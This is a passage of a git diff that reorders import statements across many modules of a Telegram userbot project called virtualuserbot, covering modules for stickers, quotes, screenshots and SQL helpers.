pytesseract + from virtualuserbot import CMD_HELP from virtualuserbot.Configs import Config from virtualuserbot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/qr_code.py b/virtualuserbot/modules/qr_code.py index d35fc775..98c350f5 100644 --- a/virtualuserbot/modules/qr_code.py +++ b/virtualuserbot/modules/qr_code.py @@ -8,9 +8,10 @@ import qrcode from bs4 import BeautifulSoup -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + def progress(current, total): logger.info( diff --git a/virtualuserbot/modules/quickheal.py b/virtualuserbot/modules/quickheal.py index ba66f676..5cb323f4 100644 --- a/virtualuserbot/modules/quickheal.py +++ b/virtualuserbot/modules/quickheal.py @@ -7,9 +7,10 @@ import asyncio -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) async def _(event): diff --git a/virtualuserbot/modules/quote.py b/virtualuserbot/modules/quote.py index ca4ec26a..19aa4f5c 100644 --- a/virtualuserbot/modules/quote.py +++ b/virtualuserbot/modules/quote.py @@ -12,9 +12,10 @@ # along with this program. If not, see . +from quote import quote + from virtualuserbot import CMD_HELP from virtualuserbot.utils import admin_cmd -from quote import quote @friday.on(admin_cmd(pattern="qs (.*)")) diff --git a/virtualuserbot/modules/quotes.py b/virtualuserbot/modules/quotes.py index 57ea14be..2d067e7c 100644 --- a/virtualuserbot/modules/quotes.py +++ b/virtualuserbot/modules/quotes.py @@ -1,9 +1,10 @@ import random import requests -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="quote ?(.*)")) async def quote_search(event): diff --git a/virtualuserbot/modules/quotly.py b/virtualuserbot/modules/quotly.py index be2ee7a8..1fee8e01 100644 --- a/virtualuserbot/modules/quotly.py +++ b/virtualuserbot/modules/quotly.py @@ -21,13 +21,14 @@ import emoji from fontTools.ttLib import TTFont -from virtualuserbot import CMD_HELP, bot -from virtualuserbot.utils import friday_on_cmd from PIL import Image, ImageDraw, ImageFont, ImageOps from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError from telethon.tl import functions, types +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import friday_on_cmd + COLORS = [ "#F07975", "#F49F69", diff --git a/virtualuserbot/modules/rain.py b/virtualuserbot/modules/rain.py index c2e37c90..650e365b 100644 --- a/virtualuserbot/modules/rain.py +++ b/virtualuserbot/modules/rain.py @@ -2,9 +2,10 @@ import asyncio from collections import deque -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.rain", outgoing=True)) async def _(event): diff --git a/virtualuserbot/modules/react.py b/virtualuserbot/modules/react.py index 79aeafb7..763839f7 100644 --- a/virtualuserbot/modules/react.py +++ b/virtualuserbot/modules/react.py @@ -4,9 +4,10 @@ import random -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.react (.*)", outgoing=True)) async def _(event): diff --git a/virtualuserbot/modules/reminder.py b/virtualuserbot/modules/reminder.py index 66102c46..8010faae 100644 --- a/virtualuserbot/modules/reminder.py +++ b/virtualuserbot/modules/reminder.py @@ -3,10 +3,11 @@ import asyncio -from virtualuserbot import CMD_HELP from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd diff --git a/virtualuserbot/modules/remove.bg.py b/virtualuserbot/modules/remove.bg.py index bc0df4e6..7c73d350 100644 --- a/virtualuserbot/modules/remove.bg.py +++ b/virtualuserbot/modules/remove.bg.py @@ -20,6 +20,7 @@ from datetime import datetime import requests + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/rename.py b/virtualuserbot/modules/rename.py index 1423df34..43e27b8f 100644 --- a/virtualuserbot/modules/rename.py +++ b/virtualuserbot/modules/rename.py @@ -7,9 +7,10 @@ import time from datetime import datetime -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" diff --git a/virtualuserbot/modules/reverse.py b/virtualuserbot/modules/reverse.py index c1a0d315..6adeb9c8 100644 --- a/virtualuserbot/modules/reverse.py +++ b/virtualuserbot/modules/reverse.py @@ -11,9 +11,10 @@ import requests from bs4 import BeautifulSoup +from PIL import Image + from virtualuserbot import CMD_HELP, bot from virtualuserbot.utils import errors_handler, friday_on_cmd -from PIL import Image opener = urllib.request.build_opener() useragent = "Mozilla/5.0 (Linux; Android 9; SM-G960F Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.157 Mobile Safari/537.36" diff --git a/virtualuserbot/modules/reverseimg.py b/virtualuserbot/modules/reverseimg.py index a802d34d..825003f6 100644 --- a/virtualuserbot/modules/reverseimg.py +++ b/virtualuserbot/modules/reverseimg.py @@ -14,9 +14,10 @@ import requests from bs4 import BeautifulSoup +from PIL import Image + from virtualuserbot import CMD_HELP, bot from virtualuserbot.utils import errors_handler, register -from PIL import Image opener = urllib.request.build_opener() useragent = "Mozilla/5.0 (Linux; Android 9; SM-G960F Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.157 Mobile Safari/537.36" diff --git a/virtualuserbot/modules/sangmata.py b/virtualuserbot/modules/sangmata.py index 9a476df8..1e7787f3 100644 --- a/virtualuserbot/modules/sangmata.py +++ b/virtualuserbot/modules/sangmata.py @@ -1,8 +1,9 @@ -from virtualuserbot import CMD_HELP from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd("sg ?(.*)")) async def _(event): diff --git a/virtualuserbot/modules/screencapture.py b/virtualuserbot/modules/screencapture.py index b678eab3..e1f29482 100644 --- a/virtualuserbot/modules/screencapture.py +++ b/virtualuserbot/modules/screencapture.py @@ -4,6 +4,7 @@ import io import requests + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/screenlong.py b/virtualuserbot/modules/screenlong.py index 06980516..f17e7b41 100644 --- a/virtualuserbot/modules/screenlong.py +++ b/virtualuserbot/modules/screenlong.py @@ -5,9 +5,10 @@ import traceback from datetime import datetime +from selenium import webdriver + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd -from selenium import webdriver @friday.on(friday_on_cmd("screenlong (.*)")) diff --git a/virtualuserbot/modules/screenshot.py b/virtualuserbot/modules/screenshot.py index 8fc4783a..87775375 100644 --- a/virtualuserbot/modules/screenshot.py +++ b/virtualuserbot/modules/screenshot.py @@ -7,10 +7,11 @@ from datetime import datetime import requests -from virtualuserbot import CMD_HELP from selenium import webdriver from validators.url import url +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/shout.py b/virtualuserbot/modules/shout.py index a0c13f60..c28c5637 100644 --- a/virtualuserbot/modules/shout.py +++ b/virtualuserbot/modules/shout.py @@ -3,9 +3,10 @@ originaly from : @corsicanu_bot """ -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.shout", outgoing=True)) async def shout(args): diff --git a/virtualuserbot/modules/sizeresize.py b/virtualuserbot/modules/sizeresize.py index c862b3ca..6238499c 100644 --- a/virtualuserbot/modules/sizeresize.py +++ b/virtualuserbot/modules/sizeresize.py @@ -1,6 +1,7 @@ import os import PIL + from virtualuserbot import bot from virtualuserbot import bot as borg from virtualuserbot.utils import admin_cmd diff --git a/virtualuserbot/modules/slap.py b/virtualuserbot/modules/slap.py index 7243ba0a..d73b8f2f 100644 --- a/virtualuserbot/modules/slap.py +++ b/virtualuserbot/modules/slap.py @@ -6,11 +6,12 @@ import random -from virtualuserbot import ALIVE_NAME, CMD_HELP from telethon.tl.functions.users import GetFullUserRequest from telethon.tl.types import MessageEntityMentionName from uniborg.util import friday_on_cmd +from virtualuserbot import ALIVE_NAME, CMD_HELP + SLAP_TEMPLATES = [ "{user1} {hits} {user2} with a {item}.", "{user1} {hits} {user2} in the face with a {item}.", diff --git a/virtualuserbot/modules/snake.py b/virtualuserbot/modules/snake.py index de3dc780..47b4ac5f 100644 --- a/virtualuserbot/modules/snake.py +++ b/virtualuserbot/modules/snake.py @@ -12,9 +12,10 @@ import asyncio -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) async def _(event): diff --git a/virtualuserbot/modules/snip.py b/virtualuserbot/modules/snip.py index 07fc935b..c401fd03 100644 --- a/virtualuserbot/modules/snip.py +++ b/virtualuserbot/modules/snip.py @@ -6,6 +6,9 @@ .snips .snipl .snipd""" +from telethon import events, utils +from telethon.tl import types + from virtualuserbot import CMD_HELP from virtualuserbot.modules.sql_helper.snips_sql import ( add_snip, @@ -14,8 +17,6 @@ remove_snip, ) from virtualuserbot.utils import friday_on_cmd -from telethon import events, utils -from telethon.tl import types TYPE_TEXT = 0 TYPE_PHOTO = 1 diff --git a/virtualuserbot/modules/solarsystem.py b/virtualuserbot/modules/solarsystem.py index fa6ce1b3..51cb6a8d 100644 --- a/virtualuserbot/modules/solarsystem.py +++ b/virtualuserbot/modules/solarsystem.py @@ -7,9 +7,10 @@ import asyncio -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) async def _(event): diff --git a/virtualuserbot/modules/something.py b/virtualuserbot/modules/something.py index 22bbf707..ddebb773 100644 --- a/virtualuserbot/modules/something.py +++ b/virtualuserbot/modules/something.py @@ -1,8 +1,9 @@ """ Whatever Plugin by Noobs of Telegram i.e. @pureindialover """ -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern=r"lmoon")) async def test(event): diff --git a/virtualuserbot/modules/song.py b/virtualuserbot/modules/song.py index f5d001ff..22ea1bbd 100644 --- a/virtualuserbot/modules/song.py +++ b/virtualuserbot/modules/song.py @@ -1,8 +1,9 @@ import asyncio +from telethon.errors.rpcerrorlist import YouBlockedUserError + from virtualuserbot import CMD_HELP, bot from virtualuserbot.utils import friday_on_cmd -from telethon.errors.rpcerrorlist import YouBlockedUserError @friday.on(friday_on_cmd(pattern="netease ?(.*)")) diff --git a/virtualuserbot/modules/songs.py b/virtualuserbot/modules/songs.py index d18e7abe..0fecbfc8 100644 --- a/virtualuserbot/modules/songs.py +++ b/virtualuserbot/modules/songs.py @@ -8,7 +8,6 @@ import os import re -from virtualuserbot import CMD_HELP, bot from telethon.errors.rpcerrorlist import ( UserAlreadyParticipantError, YouBlockedUserError, @@ -16,6 +15,8 @@ from telethon.tl.functions.messages import ImportChatInviteRequest from telethon.tl.types import InputMessagesFilterMusic +from virtualuserbot import CMD_HELP, bot + from ..utils import admin_cmd try: diff --git a/virtualuserbot/modules/spacedp.py b/virtualuserbot/modules/spacedp.py index 2240a6d2..9f788eb4 100644 --- a/virtualuserbot/modules/spacedp.py +++ b/virtualuserbot/modules/spacedp.py @@ -5,9 +5,10 @@ import urllib import requests +from telethon.tl import functions + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd -from telethon.tl import functions # Space lovers COLLECTION_STRINGS = [ diff --git a/virtualuserbot/modules/spam.py b/virtualuserbot/modules/spam.py index 2cc7254c..dd85f7ce 100644 --- a/virtualuserbot/modules/spam.py +++ b/virtualuserbot/modules/spam.py @@ -3,13 +3,14 @@ # included both cas(combot antispam service) and spamwatch (need to add more feaututres) import spamwatch -from virtualuserbot import BOTLOG, BOTLOG_CHATID, CMD_HELP, LOGS -from virtualuserbot.modules.sql_helper.gban_sql_helper import get_gbanuser, is_gbanned from requests import get from telethon import events from telethon.errors import ChatAdminRequiredError from telethon.tl.types import ChannelParticipantsAdmins +from virtualuserbot import BOTLOG, BOTLOG_CHATID, CMD_HELP, LOGS +from virtualuserbot.modules.sql_helper.gban_sql_helper import get_gbanuser, is_gbanned + from ..utils import admin_cmd, edit_or_reply, is_admin, sudo_cmd if Config.ANTISPAMBOT_BAN: diff --git a/virtualuserbot/modules/speedtest.py b/virtualuserbot/modules/speedtest.py index 3ee475d6..1e19df41 100644 --- a/virtualuserbot/modules/speedtest.py +++ b/virtualuserbot/modules/speedtest.py @@ -4,6 +4,7 @@ from datetime import datetime import speedtest + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/sql_helper/PostAppender_sql.py b/virtualuserbot/modules/sql_helper/PostAppender_sql.py index 550e08d7..7b902f20 100644 --- a/virtualuserbot/modules/sql_helper/PostAppender_sql.py +++ b/virtualuserbot/modules/sql_helper/PostAppender_sql.py @@ -1,6 +1,7 @@ -from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Boolean, Column, String, UnicodeText +from virtualuserbot.modules.sql_helper import BASE, SESSION + class Pa(BASE): __tablename__ = "pa" diff --git a/virtualuserbot/modules/sql_helper/blacklist_sql.py b/virtualuserbot/modules/sql_helper/blacklist_sql.py index fa569ebd..6c21d253 100644 --- a/virtualuserbot/modules/sql_helper/blacklist_sql.py +++ b/virtualuserbot/modules/sql_helper/blacklist_sql.py @@ -1,8 +1,9 @@ import threading -from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, String, UnicodeText, distinct, func +from virtualuserbot.modules.sql_helper import BASE, SESSION + class BlackListFilters(BASE): __tablename__ = "blacklist" diff --git a/virtualuserbot/modules/sql_helper/channel_sticker_sql.py b/virtualuserbot/modules/sql_helper/channel_sticker_sql.py index 92d55b7b..1503c834 100644 --- a/virtualuserbot/modules/sql_helper/channel_sticker_sql.py +++ b/virtualuserbot/modules/sql_helper/channel_sticker_sql.py @@ -1,6 +1,7 @@ -from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, String, UnicodeText +from virtualuserbot.modules.sql_helper import BASE, SESSION + class Cst(BASE): __tablename__ = "cst" diff --git a/virtualuserbot/modules/sql_helper/echo_sql.py b/virtualuserbot/modules/sql_helper/echo_sql.py index 0ef327ef..09ec0040 100644 --- a/virtualuserbot/modules/sql_helper/echo_sql.py +++ b/virtualuserbot/modules/sql_helper/echo_sql.py @@ -1,6 +1,7 @@ -from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, String +from virtualuserbot.modules.sql_helper import BASE, SESSION + class ECHOSQL(BASE): __tablename__ = "echo_sql" diff --git a/virtualuserbot/modules/sql_helper/feds_sql.py b/virtualuserbot/modules/sql_helper/feds_sql.py index 6eabbb9c..15a98a1e 100644 --- a/virtualuserbot/modules/sql_helper/feds_sql.py +++ b/virtualuserbot/modules/sql_helper/feds_sql.py @@ -1,6 +1,7 @@ -from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, UnicodeText +from virtualuserbot.modules.sql_helper import BASE, SESSION + class Fed(BASE): __tablename__ = "fed" diff --git a/virtualuserbot/modules/sql_helper/filter_sql.py b/virtualuserbot/modules/sql_helper/filter_sql.py index 09130fa1..85bbbd09 100644 --- a/virtualuserbot/modules/sql_helper/filter_sql.py +++ b/virtualuserbot/modules/sql_helper/filter_sql.py @@ -1,6 +1,7 @@ -from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, LargeBinary, Numeric, String, UnicodeText +from virtualuserbot.modules.sql_helper import BASE, SESSION + class Filters(BASE): __tablename__ = "filters" diff --git a/virtualuserbot/modules/sql_helper/floodsql.py b/virtualuserbot/modules/sql_helper/floodsql.py index 7cbb8c2a..c5bd85b0 100644 --- a/virtualuserbot/modules/sql_helper/floodsql.py +++ b/virtualuserbot/modules/sql_helper/floodsql.py @@ -1,8 +1,9 @@ import threading -from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, Integer, String +from virtualuserbot.modules.sql_helper import BASE, SESSION + DEF_COUNT = 0 DEF_LIMIT = 0 DEF_OBJ = (None, DEF_COUNT, DEF_LIMIT) diff --git a/virtualuserbot/modules/sql_helper/locks_sql.py b/virtualuserbot/modules/sql_helper/locks_sql.py index a94e5f86..30fb133b 100644 --- a/virtualuserbot/modules/sql_helper/locks_sql.py +++ b/virtualuserbot/modules/sql_helper/locks_sql.py @@ -1,6 +1,7 @@ -from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Boolean, Column, String +from virtualuserbot.modules.sql_helper import BASE, SESSION + class Locks(BASE): __tablename__ = "locks" diff --git a/virtualuserbot/modules/sql_helper/lydia_ai_sql.py b/virtualuserbot/modules/sql_helper/lydia_ai_sql.py index 9aba5308..7896f2e3 100644 --- a/virtualuserbot/modules/sql_helper/lydia_ai_sql.py +++ b/virtualuserbot/modules/sql_helper/lydia_ai_sql.py @@ -1,6 +1,7 @@ -from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, Numeric, UnicodeText +from virtualuserbot.modules.sql_helper import BASE, SESSION + class LydiaAI(BASE): __tablename__ = "lydia_ai" diff --git a/virtualuserbot/modules/sql_helper/pmpermit_sql.py b/virtualuserbot/modules/sql_helper/pmpermit_sql.py index 98c89d4a..c9ddb0d2 100644 --- a/virtualuserbot/modules/sql_helper/pmpermit_sql.py +++ b/virtualuserbot/modules/sql_helper/pmpermit_sql.py @@ -1,6 +1,7 @@ -from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, String +from virtualuserbot.modules.sql_helper import BASE, SESSION + class PMPermit(BASE): __tablename__ = "pmpermit" diff --git a/virtualuserbot/modules/sql_helper/snips_sql.py b/virtualuserbot/modules/sql_helper/snips_sql.py index 7c8471ca..7cb0f4ca 100644 --- a/virtualuserbot/modules/sql_helper/snips_sql.py +++ b/virtualuserbot/modules/sql_helper/snips_sql.py @@ -1,6 +1,7 @@ -from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, LargeBinary, Numeric, UnicodeText +from virtualuserbot.modules.sql_helper import BASE, SESSION + class Snips(BASE): __tablename__ = "snips" diff --git a/virtualuserbot/modules/sql_helper/warns_sql.py b/virtualuserbot/modules/sql_helper/warns_sql.py index 99c7d4c2..c534658a 100644 --- a/virtualuserbot/modules/sql_helper/warns_sql.py +++ b/virtualuserbot/modules/sql_helper/warns_sql.py @@ -1,9 +1,10 @@ import threading -from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Boolean, Column, Integer, String, UnicodeText, distinct, func from sqlalchemy.dialects import postgresql +from virtualuserbot.modules.sql_helper import BASE, SESSION + class Warns(BASE): __tablename__ = "warns" diff --git a/virtualuserbot/modules/sql_helper/welcome_sql.py b/virtualuserbot/modules/sql_helper/welcome_sql.py index 3e7d5514..03b084bb 100644 --- a/virtualuserbot/modules/sql_helper/welcome_sql.py +++ b/virtualuserbot/modules/sql_helper/welcome_sql.py @@ -1,6 +1,7 @@ -from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import BigInteger, Boolean, Column, String, UnicodeText +from virtualuserbot.modules.sql_helper import BASE, SESSION + class Welcome(BASE): __tablename__ = "welcome" diff --git a/virtualuserbot/modules/sql_helper/welcomesql.py b/virtualuserbot/modules/sql_helper/welcomesql.py index 3a059d76..d1fecad4 100644 --- a/virtualuserbot/modules/sql_helper/welcomesql.py +++ b/virtualuserbot/modules/sql_helper/welcomesql.py @@ -1,6 +1,7 @@ -from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import BigInteger, Column, Numeric, String, UnicodeText +from virtualuserbot.modules.sql_helper import BASE, SESSION + class JoinWelcome(BASE): __tablename__ = "joinwelcome" diff --git a/virtualuserbot/modules/ssvideo.py b/virtualuserbot/modules/ssvideo.py index 2d0d56ec..16276fc7 100644 --- a/virtualuserbot/modules/ssvideo.py +++ b/virtualuserbot/modules/ssvideo.py @@ -8,10 +8,11 @@ import os import time +from telethon.tl.types import DocumentAttributeFilename + from virtualuserbot import CMD_HELP, bot from virtualuserbot.events import register from virtualuserbot.function import progress -from telethon.tl.types import DocumentAttributeFilename @register(outgoing=True, pattern=r"^\.ssvideo(?: |$)(.*)") diff --git a/virtualuserbot/modules/stats.py b/virtualuserbot/modules/stats.py index c265baba..899abbf0 100644 --- a/virtualuserbot/modules/stats.py +++ b/virtualuserbot/modules/stats.py @@ -1,9 +1,10 @@ from datetime import datetime -from virtualuserbot import CMD_HELP, bot from telethon.tl.types import Channel, Chat, User from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP, bot + @bot.on(friday_on_cmd(pattern=r"stats")) async def _(event): diff --git a/virtualuserbot/modules/steganography.py b/virtualuserbot/modules/steganography.py index 367b94b3..6556271e 100644 --- a/virtualuserbot/modules/steganography.py +++ b/virtualuserbot/modules/steganography.py @@ -1,9 +1,10 @@ import os from cryptosteganography import CryptoSteganography +from telethon.tl.types import MessageMediaPhoto + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd, sudo_cmd -from telethon.tl.types import MessageMediaPhoto sedpath = "./fridaydevs/" if not os.path.isdir(sedpath): diff --git a/virtualuserbot/modules/stickcreater.py b/virtualuserbot/modules/stickcreater.py index 8d3894b7..257b91b8 100644 --- a/virtualuserbot/modules/stickcreater.py +++ b/virtualuserbot/modules/stickcreater.py @@ -8,11 +8,12 @@ import random import textwrap -from virtualuserbot import CMD_HELP -from virtualuserbot.utils import friday_on_cmd, sudo_cmd from PIL import Image, ImageDraw, ImageFont from telethon.tl.types import InputMessagesFilterDocument +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd + # RegEx by https://t.me/c/1220993104/500653 ( @SnapDragon7410 ) diff --git a/virtualuserbot/modules/sticker_2.py b/virtualuserbot/modules/sticker_2.py index 9a4489e2..90ed8bae 100644 --- a/virtualuserbot/modules/sticker_2.py +++ b/virtualuserbot/modules/sticker_2.py @@ -21,10 +21,11 @@ import emoji from fontTools.ttLib import TTFont -from virtualuserbot.utils import friday_on_cmd from PIL import Image, ImageDraw, ImageFont, ImageOps from telethon.tl import functions, types +from virtualuserbot.utils import friday_on_cmd + COLORS = [ "#F07975", "#F49F69", diff --git a/virtualuserbot/modules/stickers.py b/virtualuserbot/modules/stickers.py index dc732bf4..913312eb 100644 --- a/virtualuserbot/modules/stickers.py +++ b/virtualuserbot/modules/stickers.py @@ -10,9 +10,6 @@ import zipfile from collections import defaultdict -from virtualuserbot import ALIVE_NAME, CMD_HELP -from virtualuserbot.function import convert_to_image -from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from PIL import Image from telethon.errors import MessageNotModifiedError from telethon.errors.rpcerrorlist import StickersetInvalidError @@ -24,6 +21,10 @@ MessageMediaPhoto, ) +from virtualuserbot import ALIVE_NAME, CMD_HELP +from virtualuserbot.function import convert_to_image +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + sedpath = Config.TMP_DOWNLOAD_DIRECTORY if not os.path.isdir(sedpath): os.makedirs(sedpath) diff --git a/virtualuserbot/modules/stock_price.py b/virtualuserbot/modules/stock_price.py index 76d5fcec..809d6ba5 100644 --- a/virtualuserbot/modules/stock_price.py +++ b/virtualuserbot/modules/stock_price.py @@ -1,7 +1,8 @@ import requests +from yahoo_fin import stock_info as si + from virtualuserbot import CMD_HELP from virtualuserbot.utils import admin_cmd -from yahoo_fin import stock_info as si @friday.on(admin_cmd(pattern="liveprice (.*)")) diff --git a/virtualuserbot/modules/stt.py b/virtualuserbot/modules/stt.py index 7bcc0c1b..aa520827 100644 --- a/virtualuserbot/modules/stt.py +++ b/virtualuserbot/modules/stt.py @@ -4,6 +4,7 @@ from datetime import datetime import requests + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/study.py b/virtualuserbot/modules/study.py index 1dbc973e..1df1a114 100644 --- a/virtualuserbot/modules/study.py +++ b/virtualuserbot/modules/study.py @@ -1,10 +1,11 @@ import asyncio import datetime -from virtualuserbot import ALIVE_NAME from telethon import events from telethon.tl import functions, types +from virtualuserbot import ALIVE_NAME + from ..utils import admin_cmd global USER_night # pylint:disable=E0602 diff --git a/virtualuserbot/modules/superheroes.py b/virtualuserbot/modules/superheroes.py index 6c5d1e92..0ddd9e3e 100644 --- a/virtualuserbot/modules/superheroes.py +++ b/virtualuserbot/modules/superheroes.py @@ -12,6 +12,7 @@ # along with this program. If not, see . import requests + from virtualuserbot.Configs import Config from virtualuserbot.utils import admin_cmd diff --git a/virtualuserbot/modules/tagall.py b/virtualuserbot/modules/tagall.py index b82cd8d7..7193911e 100644 --- a/virtualuserbot/modules/tagall.py +++ b/virtualuserbot/modules/tagall.py @@ -1,9 +1,10 @@ # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="tagall")) async def _(event): diff --git a/virtualuserbot/modules/tb_button.py b/virtualuserbot/modules/tb_button.py index daee05fa..3442a270 100644 --- a/virtualuserbot/modules/tb_button.py +++ b/virtualuserbot/modules/tb_button.py @@ -2,9 +2,10 @@ """ import re -from virtualuserbot.utils import friday_on_cmd from telethon import custom +from virtualuserbot.utils import friday_on_cmd + # regex obtained from: https://github.com/PaulSonOfLars/tgbot/blob/master/tg_bot/modules/helper_funcs/string_handling.py#L23 BTN_URL_REGEX = re.compile(r"(\{([^\[]+?)\}\)") diff --git a/virtualuserbot/modules/telegraph.py b/virtualuserbot/modules/telegraph.py index 4388222f..8ca632e1 100644 --- a/virtualuserbot/modules/telegraph.py +++ b/virtualuserbot/modules/telegraph.py @@ -5,11 +5,12 @@ import os from datetime import datetime -from virtualuserbot import CMD_HELP -from virtualuserbot.utils import friday_on_cmd from PIL import Image from telegraph import Telegraph, exceptions, upload_file +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd + telegraph = Telegraph() r = telegraph.create_account(short_name=Config.TELEGRAPH_SHORT_NAME) auth_url = r["auth_url"] diff --git a/virtualuserbot/modules/test.py b/virtualuserbot/modules/test.py index 7138390a..985adc8f 100644 --- a/virtualuserbot/modules/test.py +++ b/virtualuserbot/modules/test.py @@ -1,6 +1,7 @@ -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern=r"test")) async def test(event): diff --git a/virtualuserbot/modules/thumbnail.py b/virtualuserbot/modules/thumbnail.py index 746252a4..50ec72b7 100644 --- a/virtualuserbot/modules/thumbnail.py +++ b/virtualuserbot/modules/thumbnail.py @@ -7,12 +7,13 @@ import os import subprocess -from virtualuserbot import CMD_HELP from hachoir.metadata import extractMetadata from hachoir.parser import createParser from PIL import Image from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" diff --git a/virtualuserbot/modules/tiktok.py b/virtualuserbot/modules/tiktok.py index 8e184991..6c39de00 100644 --- a/virtualuserbot/modules/tiktok.py +++ b/virtualuserbot/modules/tiktok.py @@ -2,9 +2,10 @@ Dont edit credits """ -from virtualuserbot import CMD_HELP from telethon.errors.rpcerrorlist import YouBlockedUserError +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd diff --git a/virtualuserbot/modules/time.py b/virtualuserbot/modules/time.py index b8c129ec..8e4aad4b 100644 --- a/virtualuserbot/modules/time.py +++ b/virtualuserbot/modules/time.py @@ -5,9 +5,10 @@ import os from datetime import datetime +from PIL import Image, ImageDraw, ImageFont + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd -from PIL import Image, ImageDraw, ImageFont FONT_FILE_TO_USE = "Fonts/digital.ttf" diff --git a/virtualuserbot/modules/toonify.py b/virtualuserbot/modules/toonify.py index bd0b7c53..d9675488 100644 --- a/virtualuserbot/modules/toonify.py +++ b/virtualuserbot/modules/toonify.py @@ -6,6 +6,7 @@ import os import requests + from virtualuserbot import CMD_HELP from ..utils import admin_cmd diff --git a/virtualuserbot/modules/torrentsearch.py b/virtualuserbot/modules/torrentsearch.py index 4e03d4ad..f17ae461 100644 --- a/virtualuserbot/modules/torrentsearch.py +++ b/virtualuserbot/modules/torrentsearch.py @@ -9,6 +9,7 @@ import cfscrape # https://github.com/Anorov/cloudflare-scrape import requests from bs4 import BeautifulSoup as bs + from virtualuserbot import CMD_HELP, pro from ..utils import admin_cmd, humanbytes diff --git a/virtualuserbot/modules/torrentz.py b/virtualuserbot/modules/torrentz.py index 975671dd..53b690b7 100644 --- a/virtualuserbot/modules/torrentz.py +++ b/virtualuserbot/modules/torrentz.py @@ -5,6 +5,7 @@ import cfscrape # https://github.com/Anorov/cloudflare-scrape import requests from bs4 import BeautifulSoup + from virtualuserbot import pro from ..utils import admin_cmd, humanbytes diff --git a/virtualuserbot/modules/translate.py b/virtualuserbot/modules/translate.py index 5643ea3b..1c33b5b7 100644 --- a/virtualuserbot/modules/translate.py +++ b/virtualuserbot/modules/translate.py @@ -4,12 +4,13 @@ .tr LangaugeCode | text to translate""" import requests -from virtualuserbot import CMD_HELP -from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from google_trans_new import google_translator from googletrans import LANGUAGES from langdetect import detect +from 